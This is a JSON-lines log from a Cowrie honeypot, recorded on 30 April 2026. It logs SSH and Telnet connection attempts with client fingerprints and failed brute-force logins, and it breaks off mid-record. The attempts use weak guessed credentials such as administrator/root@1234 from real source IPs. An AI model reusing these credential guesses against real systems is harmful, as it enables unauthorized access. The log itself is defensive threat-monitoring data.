{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45256,"dst_ip":"159.203.135.109","dst_port":22,"session":"b697c0a92a1e","protocol":"ssh","message":"New connection: 159.203.92.129:45256 (159.203.135.109:22) [session: b697c0a92a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:59.150486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:59.154208Z","src_ip":"159.203.92.129","session":"b697c0a92a1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:59.158910Z","src_ip":"159.203.92.129","session":"b697c0a92a1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root@1234","message":"login attempt [administrator/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:57:59.169962Z","src_ip":"159.203.92.129","session":"b697c0a92a1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.47.208.90","src_port":42218,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5333f0bb542","protocol":"telnet","message":"New connection: 72.47.208.90:42218 (10.17.0.5:23) [session: e5333f0bb542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:00.093661Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:00.175948Z","src_ip":"159.203.92.129","session":"b697c0a92a1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":27462,"dst_ip":"159.203.135.109","dst_port":22,"session":"b66f68ffbaed","protocol":"ssh","message":"New connection: 125.166.19.90:27462 (159.203.135.109:22) [session: b66f68ffbaed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:04.210722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:04.216309Z","src_ip":"125.166.19.90","session":"b66f68ffbaed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:04.485518Z","src_ip":"125.166.19.90","session":"b66f68ffbaed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx#EDC","message":"login attempt [ubuntu/!QAZ2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:05.591927Z","src_ip":"125.166.19.90","session":"b66f68ffbaed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:06.862184Z","src_ip":"125.166.19.90","session":"b66f68ffbaed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.826714754104614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:30.920263Z","src_ip":"72.47.208.90","session":"e5333f0bb542","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53552,"dst_ip":"159.203.135.109","dst_port":22,"session":"45249131a584","protocol":"ssh","message":"New connection: 159.203.92.129:53552 (159.203.135.109:22) [session: 45249131a584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:44.043839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:44.048356Z","src_ip":"159.203.92.129","session":"45249131a584","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:44.052264Z","src_ip":"159.203.92.129","session":"45249131a584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root@12345","message":"login attempt [administrator/root@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:44.068933Z","src_ip":"159.203.92.129","session":"45249131a584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:45.076026Z","src_ip":"159.203.92.129","session":"45249131a584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":40420,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9f4d0a15563","protocol":"ssh","message":"New connection: 150.95.157.171:40420 (10.17.0.5:22) [session: e9f4d0a15563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:46.320117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:46.324907Z","src_ip":"150.95.157.171","session":"e9f4d0a15563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:46.486421Z","src_ip":"150.95.157.171","session":"e9f4d0a15563","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server10","message":"login attempt [root/server10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:47.160462Z","src_ip":"150.95.157.171","session":"e9f4d0a15563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:48.323498Z","src_ip":"150.95.157.171","session":"e9f4d0a15563","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00168323516846,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:50.609831Z","src_ip":"190.163.75.230","session":"e88c19f120a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00101852416992,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:58:50.942363Z","src_ip":"190.163.75.230","session":"375532d5c639","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":54918,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7d1820a8c26","protocol":"ssh","message":"New connection: 45.232.73.84:54918 (159.203.135.109:22) [session: c7d1820a8c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:59:22.120817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:59:22.129550Z","src_ip":"45.232.73.84","session":"c7d1820a8c26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:59:22.255277Z","src_ip":"45.232.73.84","session":"c7d1820a8c26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123test","message":"login attempt [test/test123test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:59:22.760610Z","src_ip":"45.232.73.84","session":"c7d1820a8c26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:59:23.895066Z","src_ip":"45.232.73.84","session":"c7d1820a8c26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34680,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfaf8dd1f2a0","protocol":"ssh","message":"New connection: 159.203.92.129:34680 (159.203.135.109:22) [session: bfaf8dd1f2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:59:29.137351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:59:29.141801Z","src_ip":"159.203.92.129","session":"bfaf8dd1f2a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:59:29.149350Z","src_ip":"159.203.92.129","session":"bfaf8dd1f2a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root@123456","message":"login attempt [administrator/root@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:59:29.159063Z","src_ip":"159.203.92.129","session":"bfaf8dd1f2a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:59:30.165438Z","src_ip":"159.203.92.129","session":"bfaf8dd1f2a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":57484,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa518fc5c955","protocol":"ssh","message":"New connection: 150.95.157.171:57484 (10.17.0.5:22) [session: aa518fc5c955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:59:43.322503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:59:43.326754Z","src_ip":"150.95.157.171","session":"aa518fc5c955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:59:43.480270Z","src_ip":"150.95.157.171","session":"aa518fc5c955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy21","message":"login attempt [deploy/deploy21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:59:44.139609Z","src_ip":"150.95.157.171","session":"aa518fc5c955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:59:45.310007Z","src_ip":"150.95.157.171","session":"aa518fc5c955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57730,"dst_ip":"159.203.135.109","dst_port":22,"session":"922c870e985e","protocol":"ssh","message":"New connection: 159.203.92.129:57730 (159.203.135.109:22) [session: 922c870e985e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:00:16.548777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:00:16.555131Z","src_ip":"159.203.92.129","session":"922c870e985e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","e